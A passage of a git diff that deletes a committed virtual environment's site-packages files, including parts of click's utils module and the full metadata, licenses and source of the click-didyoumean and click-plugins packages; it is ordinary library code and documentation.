os.fspath(filename) - - if isinstance(filename, bytes): - filename = filename.decode(sys.getfilesystemencoding(), "replace") - else: - filename = filename.encode("utf-8", "surrogateescape").decode( - "utf-8", "replace" - ) - - return filename - - -def get_app_dir(app_name: str, roaming: bool = True, force_posix: bool = False) -> str: - r"""Returns the config folder for the application. The default behavior - is to return whatever is most appropriate for the operating system. - - To give you an idea, for an app called ``"Foo Bar"``, something like - the following folders could be returned: - - Mac OS X: - ``~/Library/Application Support/Foo Bar`` - Mac OS X (POSIX): - ``~/.foo-bar`` - Unix: - ``~/.config/foo-bar`` - Unix (POSIX): - ``~/.foo-bar`` - Windows (roaming): - ``C:\Users\\AppData\Roaming\Foo Bar`` - Windows (not roaming): - ``C:\Users\\AppData\Local\Foo Bar`` - - .. versionadded:: 2.0 - - :param app_name: the application name. This should be properly capitalized - and can contain whitespace. - :param roaming: controls if the folder should be roaming or not on Windows. - Has no effect otherwise. - :param force_posix: if this is set to `True` then on any POSIX system the - folder will be stored in the home folder with a leading - dot instead of the XDG config home or darwin's - application support folder. - """ - if WIN: - key = "APPDATA" if roaming else "LOCALAPPDATA" - folder = os.environ.get(key) - if folder is None: - folder = os.path.expanduser("~") - return os.path.join(folder, app_name) - if force_posix: - return os.path.join(os.path.expanduser(f"~/.{_posixify(app_name)}")) - if sys.platform == "darwin": - return os.path.join( - os.path.expanduser("~/Library/Application Support"), app_name - ) - return os.path.join( - os.environ.get("XDG_CONFIG_HOME", os.path.expanduser("~/.config")), - _posixify(app_name), - ) - - -class PacifyFlushWrapper: - """This wrapper is used to catch and suppress BrokenPipeErrors resulting - from ``.flush()`` being called on broken pipe during the shutdown/final-GC - of the Python interpreter. Notably ``.flush()`` is always called on - ``sys.stdout`` and ``sys.stderr``. So as to have minimal impact on any - other cleanup code, and the case where the underlying file is not a broken - pipe, all calls and attributes are proxied. - """ - - def __init__(self, wrapped: t.IO[t.Any]) -> None: - self.wrapped = wrapped - - def flush(self) -> None: - try: - self.wrapped.flush() - except OSError as e: - import errno - - if e.errno != errno.EPIPE: - raise - - def __getattr__(self, attr: str) -> t.Any: - return getattr(self.wrapped, attr) - - -def _detect_program_name( - path: str | None = None, _main: ModuleType | None = None -) -> str: - """Determine the command used to run the program, for use in help - text. If a file or entry point was executed, the file name is - returned. If ``python -m`` was used to execute a module or package, - ``python -m name`` is returned. - - This doesn't try to be too precise, the goal is to give a concise - name for help text. Files are only shown as their name without the - path. ``python`` is only shown for modules, and the full path to - ``sys.executable`` is not shown. - - :param path: The Python file being executed. Python puts this in - ``sys.argv[0]``, which is used by default. - :param _main: The ``__main__`` module. This should only be passed - during internal testing. - - .. versionadded:: 8.0 - Based on command args detection in the Werkzeug reloader. - - :meta private: - """ - if _main is None: - _main = sys.modules["__main__"] - - if not path: - path = sys.argv[0] - - # The value of __package__ indicates how Python was called. It may - # not exist if a setuptools script is installed as an egg. It may be - # set incorrectly for entry points created with pip on Windows. - # It is set to "" inside a Shiv or PEX zipapp. - if getattr(_main, "__package__", None) in {None, ""} or ( - os.name == "nt" - and _main.__package__ == "" - and not os.path.exists(path) - and os.path.exists(f"{path}.exe") - ): - # Executed a file, like "python app.py". - return os.path.basename(path) - - # Executed a module, like "python -m example". - # Rewritten by Python from "-m script" to "/path/to/script.py". - # Need to look at main module to determine how it was executed. - py_module = t.cast(str, _main.__package__) - name = os.path.splitext(os.path.basename(path))[0] - - # A submodule like "example.cli". - if name != "__main__": - py_module = f"{py_module}.{name}" - - return f"python -m {py_module.lstrip('.')}" - - -def _expand_args( - args: cabc.Iterable[str], - *, - user: bool = True, - env: bool = True, - glob_recursive: bool = True, -) -> list[str]: - """Simulate Unix shell expansion with Python functions. - - See :func:`glob.glob`, :func:`os.path.expanduser`, and - :func:`os.path.expandvars`. - - This is intended for use on Windows, where the shell does not do any - expansion. It may not exactly match what a Unix shell would do. - - :param args: List of command line arguments to expand. - :param user: Expand user home directory. - :param env: Expand environment variables. - :param glob_recursive: ``**`` matches directories recursively. - - .. versionchanged:: 8.1 - Invalid glob patterns are treated as empty expansions rather - than raising an error. - - .. versionadded:: 8.0 - - :meta private: - """ - from glob import glob - - out = [] - - for arg in args: - if user: - arg = os.path.expanduser(arg) - - if env: - arg = os.path.expandvars(arg) - - try: - matches = glob(arg, recursive=glob_recursive) - except re.error: - matches = [] - - if not matches: - out.append(arg) - else: - out.extend(matches) - - return out diff --git a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE b/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE deleted file mode 100644 index 77fff8cd..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/LICENSE +++ /dev/null @@ -1,19 +0,0 @@ -Copyright (c) 2016 Timo Furrer - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA b/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA deleted file mode 100644 index 46393fd4..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/METADATA +++ /dev/null @@ -1,153 +0,0 @@ -Metadata-Version: 2.1 -Name: click-didyoumean -Version: 0.3.1 -Summary: Enables git-like *did-you-mean* feature in click -Home-page: https://github.com/click-contrib/click-didyoumean -License: MIT -Author: Timo Furrer -Author-email: timo.furrer@roche.com -Requires-Python: >=3.6.2 -Classifier: License :: OSI Approved :: MIT License -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.7 -Classifier: Programming Language :: Python :: 3.8 -Classifier: Programming Language :: Python :: 3.9 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Requires-Dist: click (>=7) -Project-URL: Repository, https://github.com/click-contrib/click-didyoumean -Description-Content-Type: text/x-rst - -click-didyoumean -================ -|pypi| |build| |license| - -Enable git-like *did-you-mean* feature in click. - -It's as simple as this: - -.. code:: python - - import click - from click_didyoumean import DYMGroup - - @click.group(cls=DYMGroup) - def cli(): - ... - -|demo| - -Usage ------ - -Install this extension with pip: - -.. code:: - - pip install click-didyoumean - - -Use specific *did-you-mean* `group` class for your cli: - - -.. code:: python - - import click - from click_didyoumean import DYMGroup - - @click.group(cls=DYMGroup) - def cli(): - pass - - @cli.command() - def foo(): - pass - - @cli.command() - def bar(): - pass - - @cli.command() - def barrr(): - pass - - if __name__ == "__main__": - cli() - - -Or you it in a `CommandCollection`: - -.. code:: python - - import click - from click_didyoumean import DYMCommandCollection - - @click.group() - def cli1(): - pass - - @cli1.command() - def foo(): - pass - - @cli1.command() - def bar(): - pass - - @click.group() - def cli2(): - pass - - @cli2.command() - def barrr(): - pass - - cli = DYMCommandCollection(sources=[cli1, cli2]) - - if __name__ == "__main__": - cli() - - -Change configuration --------------------- - -There are two configuration for the ``DYMGroup`` and ``DYMCommandCollection``: - -+-----------------+-------+---------+---------------------------------------------------------------------------+ -| Parameter | Type | Default | Description | -+=================+=======+=========+===========================================================================+ -| max_suggestions | int | 3 | Maximal number of *did-you-mean* suggestions | -+-----------------+-------+---------+---------------------------------------------------------------------------+ -| cutoff | float | 0.5 | Possibilities that don’t score at least that similar to word are ignored. | -+-----------------+-------+---------+---------------------------------------------------------------------------+ - -Examples -~~~~~~~~ - -.. code:: python - - @cli.group(cls=DYMGroup, max_suggestions=2, cutoff=0.7) - def cli(): - pass - - ... or ... - - cli = DYMCommandCollection(sources=[cli1, cli2], max_suggestions=2, cutoff=0.7) - - -.. |pypi| image:: https://img.shields.io/pypi/v/click-didyoumean.svg?style=flat&label=version - :target: https://pypi.python.org/pypi/click-didyoumean - :alt: Latest version released on PyPi - -.. |build| image:: https://img.shields.io/travis/click-contrib/click-didyoumean/master.svg?style=flat - :target: http://travis-ci.org/click-contrib/click-didyoumean - :alt: Build status of the master branch - -.. |demo| image:: https://raw.githubusercontent.com/click-contrib/click-didyoumean/master/examples/asciicast.gif - :alt: Demo - -.. |license| image:: https://img.shields.io/badge/license-MIT-blue.svg?style=flat - :target: https://raw.githubusercontent.com/click-contrib/click-didyoumean/master/LICENSE - :alt: Package license - diff --git a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD b/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD deleted file mode 100644 index 69a6b3a2..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/RECORD +++ /dev/null @@ -1,7 +0,0 @@ -click_didyoumean-0.3.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_didyoumean-0.3.1.dist-info/LICENSE,sha256=78dPJV3W_UKJNjsb_nHNDtcLKSbIJY1hUiBOaokEHAo,1056 -click_didyoumean-0.3.1.dist-info/METADATA,sha256=GYONTKiVryMonBm2dZBpQGjVnQP_sesQFjfqLbf9AnU,3943 -click_didyoumean-0.3.1.dist-info/RECORD,, -click_didyoumean-0.3.1.dist-info/WHEEL,sha256=sP946D7jFCHeNz5Iq4fL4Lu-PrWrFsgfLXbbkciIZwg,88 -click_didyoumean/__init__.py,sha256=ZdVAFTqOmOQOcKAn8ew4Knr8tYXSDwQyEzc7az-gd08,2054 -click_didyoumean/__pycache__/__init__.cpython-311.pyc,, diff --git a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL deleted file mode 100644 index d73ccaae..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean-0.3.1.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: poetry-core 1.9.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/backend/venv/Lib/site-packages/click_didyoumean/__init__.py b/backend/venv/Lib/site-packages/click_didyoumean/__init__.py deleted file mode 100644 index 15e01cbb..00000000 --- a/backend/venv/Lib/site-packages/click_didyoumean/__init__.py +++ /dev/null @@ -1,66 +0,0 @@ -""" -Extension for ``click`` to provide a group -with a git-like *did-you-mean* feature. -""" - -import difflib -import typing - -import click - - -class DYMMixin: - """ - Mixin class for click MultiCommand inherited classes - to provide git-like *did-you-mean* functionality when - a certain command is not registered. - """ - - def __init__(self, *args: typing.Any, **kwargs: typing.Any) -> None: - self.max_suggestions = kwargs.pop("max_suggestions", 3) - self.cutoff = kwargs.pop("cutoff", 0.5) - super().__init__(*args, **kwargs) # type: ignore - - def resolve_command( - self, ctx: click.Context, args: typing.List[str] - ) -> typing.Tuple[ - typing.Optional[str], typing.Optional[click.Command], typing.List[str] - ]: - """ - Overrides clicks ``resolve_command`` method - and appends *Did you mean ...* suggestions - to the raised exception message. - """ - try: - return super(DYMMixin, self).resolve_command(ctx, args) # type: ignore - except click.exceptions.UsageError as error: - error_msg = str(error) - original_cmd_name = click.utils.make_str(args[0]) - matches = difflib.get_close_matches( - original_cmd_name, - self.list_commands(ctx), # type: ignore - self.max_suggestions, - self.cutoff, - ) - if matches: - fmt_matches = "\n ".join(matches) - error_msg += "\n\n" - error_msg += f"Did you mean one of these?\n {fmt_matches}" - - raise click.exceptions.UsageError(error_msg, error.ctx) - - -class DYMGroup(DYMMixin, click.Group): - """ - click Group to provide git-like - *did-you-mean* functionality when a certain - command is not found in the group. - """ - - -class DYMCommandCollection(DYMMixin, click.CommandCollection): - """ - click CommandCollection to provide git-like - *did-you-mean* functionality when a certain - command is not found in the group. - """ diff --git a/backend/venv/Lib/site-packages/click_didyoumean/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/click_didyoumean/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 5e215d35..00000000 Binary files a/backend/venv/Lib/site-packages/click_didyoumean/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt deleted file mode 100644 index 17b68caa..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt +++ /dev/null @@ -1,5 +0,0 @@ -Authors -======= - -Kevin Wurster -Sean Gillies diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/INSTALLER b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt deleted file mode 100644 index 8fbd3537..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -New BSD License - -Copyright (c) 2015-2019, Kevin D. Wurster, Sean C. Gillies -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither click-plugins nor the names of its contributors may not be used to - endorse or promote products derived from this software without specific prior - written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/METADATA b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/METADATA deleted file mode 100644 index 11df8ed8..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/METADATA +++ /dev/null @@ -1,210 +0,0 @@ -Metadata-Version: 2.1 -Name: click-plugins -Version: 1.1.1 -Summary: An extension module for click to enable registering CLI commands via setuptools entry-points. -Home-page: https://github.com/click-contrib/click-plugins -Author: Kevin Wurster, Sean Gillies -Author-email: wursterk@gmail.com, sean.gillies@gmail.com -License: New BSD -Keywords: click plugin setuptools entry-point -Platform: UNKNOWN -Classifier: Topic :: Utilities -Classifier: Intended Audience :: Developers -Classifier: Development Status :: 5 - Production/Stable -Classifier: License :: OSI Approved :: BSD License -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Requires-Dist: click (>=4.0) -Provides-Extra: dev -Requires-Dist: pytest (>=3.6) ; extra == 'dev' -Requires-Dist: pytest-cov ; extra == 'dev' -Requires-Dist: wheel ; extra == 'dev' -Requires-Dist: coveralls ; extra == 'dev' - -============= -click-plugins -============= - -.. image:: https://travis-ci.org/click-contrib/click-plugins.svg?branch=master - :target: https://travis-ci.org/click-contrib/click-plugins?branch=master - -.. image:: https://coveralls.io/repos/click-contrib/click-plugins/badge.svg?branch=master&service=github - :target: https://coveralls.io/github/click-contrib/click-plugins?branch=master - -An extension module for `click `_ to register -external CLI commands via setuptools entry-points. - - -Why? ----- - -Lets say you develop a commandline interface and someone requests a new feature -that is absolutely related to your project but would have negative consequences -like additional dependencies, major refactoring, or maybe its just too domain -specific to be supported directly. Rather than developing a separate standalone -utility you could offer up a `setuptools entry point `_ -that allows others to use your commandline utility as a home for their related -sub-commands. You get to choose where these sub-commands or sub-groups CAN be -registered but the plugin developer gets to choose they ARE registered. You -could have all plugins register alongside the core commands, in a special -sub-group, across multiple sub-groups, or some combination. - - -Enabling Plugins ----------------- - -For a more detailed example see the `examples `_ section. - -The only requirement is decorating ``click.group()`` with ``click_plugins.with_plugins()`` -which handles attaching external commands and groups. In this case the core CLI developer -registers CLI plugins from ``core_package.cli_plugins``. - -.. code-block:: python - - from pkg_resources import iter_entry_points - - import click - from click_plugins import with_plugins - - - @with_plugins(iter_entry_points('core_package.cli_plugins')) - @click.group() - def cli(): - """Commandline interface for yourpackage.""" - - @cli.command() - def subcommand(): - """Subcommand that does something.""" - - -Developing Plugins ------------------- - -Plugin developers need to register their sub-commands or sub-groups to an -entry-point in their ``setup.py`` that is loaded by the core package. - -.. code-block:: python - - from setuptools import setup - - setup( - name='yourscript', - version='0.1', - py_modules=['yourscript'], - install_requires=[ - 'click', - ], - entry_points=''' - [core_package.cli_plugins] - cool_subcommand=yourscript.cli:cool_subcommand - another_subcommand=yourscript.cli:another_subcommand - ''', - ) - - -Broken and Incompatible Plugins -------------------------------- - -Any sub-command or sub-group that cannot be loaded is caught and converted to -a ``click_plugins.core.BrokenCommand()`` rather than just crashing the entire -CLI. The short-help is converted to a warning message like: - -.. code-block:: console - - Warning: could not load plugin. See `` --help``. - -and if the sub-command or group is executed the entire traceback is printed. - - -Best Practices and Extra Credit -------------------------------- - -Opening a CLI to plugins encourages other developers to independently extend -functionality independently but there is no guarantee these new features will -be "on brand". Plugin developers are almost certainly already using features -in the core package the CLI belongs to so defining commonly used arguments and -options in one place lets plugin developers reuse these flags to produce a more -cohesive CLI. If the CLI is simple maybe just define them at the top of -``yourpackage/cli.py`` or for more complex packages something like -``yourpackage/cli/options.py``. These common options need to be easy to find -and be well documented so that plugin developers know what variable to give to -their sub-command's function and what object they can expect to receive. Don't -forget to document non-obvious callbacks. - -Keep in mind that plugin developers also have access to the parent group's -``ctx.obj``, which is very useful for passing things like verbosity levels or -config values around to sub-commands. - -Here's some code that sub-commands could re-use: - -.. code-block:: python - - from multiprocessing import cpu_count - - import click - - jobs_opt = click.option( - '-j', '--jobs', metavar='CORES', type=click.IntRange(min=1, max=cpu_count()), default=1, - show_default=True, help="Process data across N cores." - ) - -Plugin developers can access this with: - -.. code-block:: python - - import click - import parent_cli_package.cli.options - - - @click.command() - @parent_cli_package.cli.options.jobs_opt - def subcommand(jobs): - """I do something domain specific.""" - - -Installation ------------- - -With ``pip``: - -.. code-block:: console - - $ pip install click-plugins - -From source: - -.. code-block:: console - - $ git clone https://github.com/click-contrib/click-plugins.git - $ cd click-plugins - $ python setup.py install - - -Developing ----------- - -.. code-block:: console - - $ git clone https://github.com/click-contrib/click-plugins.git - $ cd click-plugins - $ pip install -e .\[dev\] - $ pytest tests --cov click_plugins --cov-report term-missing - - -Changelog ---------- - -See ``CHANGES.txt`` - - -Authors -------- - -See ``AUTHORS.txt`` - - -License -------- - -See ``LICENSE.txt`` - diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/RECORD b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/RECORD deleted file mode 100644 index ebd51d9a..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/RECORD +++ /dev/null @@ -1,12 +0,0 @@ -click_plugins-1.1.1.dist-info/AUTHORS.txt,sha256=FUhD9wZxX5--d9KS7hUB-wnHgyS67pdnWvADk8lrLeE,90 -click_plugins-1.1.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -click_plugins-1.1.1.dist-info/LICENSE.txt,sha256=ovxTmp55udvfNAMB8D-Wci6bCbFy-kiV9mnwwmQrj3o,1517 -click_plugins-1.1.1.dist-info/METADATA,sha256=LFOtPppAX0RN1Wwn7A2Pq46juwOppLlvUGR2VNRgAPk,6390 -click_plugins-1.1.1.dist-info/RECORD,, -click_plugins-1.1.1.dist-info/WHEEL,sha256=HX-v9-noUkyUoxyZ1PMSuS7auUxDAR4VBdoYLqD0xws,110 -click_plugins-1.1.1.dist-info/top_level.txt,sha256=oB_GDZcOeOKX1eKKCfqSMR4tfJS6iL3zJshaJJPSQUI,14 -click_plugins-1.1.1.dist-info/zip-safe,sha256=AbpHGcgLb-kRsJGnwFEktk7uzpZOCcBY74-YBdrKVGs,1 -click_plugins/__init__.py,sha256=lAwJ0n4PqZCv7hk5Fz6yNL7TRrXKuhynDBGiaNSUNvo,2247 -click_plugins/__pycache__/__init__.cpython-311.pyc,, -click_plugins/__pycache__/core.cpython-311.pyc,, -click_plugins/core.py,sha256=4hhmUpFi6MSYsvxogksNu5dlKEWNscbiE9ynUy5dPdE,2475 diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/WHEEL deleted file mode 100644 index c8240f03..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/WHEEL +++ /dev/null @@ -1,6 +0,0 @@ -Wheel-Version: 1.0 -Generator: bdist_wheel (0.33.1) -Root-Is-Purelib: true -Tag: py2-none-any -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/top_level.txt b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/top_level.txt deleted file mode 100644 index 22e5b9b9..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -click_plugins diff --git a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/zip-safe b/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/zip-safe deleted file mode 100644 index 8b137891..00000000 --- a/backend/venv/Lib/site-packages/click_plugins-1.1.1.dist-info/zip-safe +++ /dev/null @@ -1 +0,0 @@ - diff --git a/backend/venv/Lib/site-packages/click_plugins/__init__.py b/backend/venv/Lib/site-packages/click_plugins/__init__.py deleted file mode 100644 index 6bdfe38e..00000000 --- a/backend/venv/Lib/site-packages/click_plugins/__init__.py +++ /dev/null @@ -1,61 +0,0 @@ -""" -An extension module for click to enable registering CLI commands via setuptools -entry-points. - - - from pkg_resources import iter_entry_points - - import click - from click_plugins import with_plugins - - - @with_plugins(iter_entry_points('entry_point.name')) - @click.group() - def cli(): - '''Commandline interface for something.''' - - @cli.command() - @click.argument('arg') - def subcommand(arg): - '''A subcommand for something else''' -""" - - -from click_plugins.core import with_plugins - - -__version__ = '1.1.1' -__author__ = 'Kevin Wurster, Sean Gillies' -__email__ = 'wursterk@gmail.com, sean.gillies@gmail.com' -__source__ = 'https://github.com/click-contrib/click-plugins' -__license__ = ''' -New BSD License - -Copyright (c) 2015-2019, Kevin D. Wurster, Sean C. Gillies -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither click-plugins nor the names of its contributors may not be used to - endorse or promote products derived from this software without specific prior - written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -''' diff --git a/backend/venv/Lib/site-packages/click_plugins/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/click_plugins/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index e61a77d7..00000000 Binary files a/backend/venv/Lib/site-packages/click_plugins/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_plugins/__pycache__/core.cpython-311.pyc b/backend/venv/Lib/site-packages/click_plugins/__pycache__/core.cpython-311.pyc deleted file mode 100644 index a35b3872..00000000 Binary files a/backend/venv/Lib/site-packages/click_plugins/__pycache__/core.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/click_plugins/core.py b/backend/venv/Lib/site-packages/click_plugins/core.py deleted file mode 100644 index 0d7f5e97..00000000 --- a/backend/venv/Lib/site-packages/click_plugins/core.py +++ /dev/null @@ -1,92 +0,0 @@ -""" -Core components for click_plugins -""" - - -import click - -import os -import sys -import traceback - - -def with_plugins(plugins): - - """ - A decorator to register external CLI commands to an instance of - `click.Group()`. - - Parameters - ---------- - plugins : iter - An iterable producing one `pkg_resources.EntryPoint()` per iteration. - attrs : **kwargs, optional - Additional keyword arguments for instantiating `click.Group()`. - - Returns - ------- - click.Group() - """ - - def decorator(group): - if not isinstance(group, click.Group): - raise TypeError("Plugins can only be attached to an instance of click.Group()") - - for entry_point in plugins or (): - try: - group.add_command(entry_point.load()) - except Exception: - # Catch this so a busted plugin doesn't take down the CLI. - # Handled by registering a dummy command that does nothing - # other than explain the error. - group.add_command(BrokenCommand(entry_point.name)) - - return group - - return decorator - - -class BrokenCommand(click.Command): - - """ - Rather than completely crash the CLI when a broken plugin is loaded, this - class provides a modified help message informing the user that the plugin is - broken and they should contact the owner. If the user executes the plugin - or specifies `--help` a traceback is reported showing the exception the - plugin loader encountered. - """ - - def __init__(self, name): - - """ - Define the special help messages after instantiating a `click.Command()`. - """ - - click.Command.__init__(self, name) - - util_name = os.path.basename(sys.argv and sys.argv[0] or __file__) - - if os.environ.get('CLICK_PLUGINS_HONESTLY'): # pragma no cover - icon = u'\U0001F4A9' - else: - icon = u'\u2020' - - self.help = ( - "\nWarning: entry point could not be loaded. Contact " - "its author for help.\n\n\b\n" - + traceback.format_exc()) - self.short_help = ( - icon + " Warning: could not load plugin. See `%s %s --help`." - % (util_name, self.name)) - - def invoke(self, ctx): - - """ - Print the traceback instead of doing nothing. - """ - - click.echo(self.help, color=ctx.color) - ctx.exit(1) - - def parse_args(self, ctx, args): - return args diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER deleted file mode 100644 index a1b589e3..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE b/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE deleted file mode 100644 index 606882bc..00000000 --- a/backend/venv/Lib/site-packages/click_repl-0.3.0.dist-info/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -Copyright (c) 2014-2015 Markus Unterwaditzer & contributors. -Copyright (c) 2016-2026 Asif Saif Uddin & contributors. - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies -of the Software, and to permit persons to whom the Software is furnished to do -so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 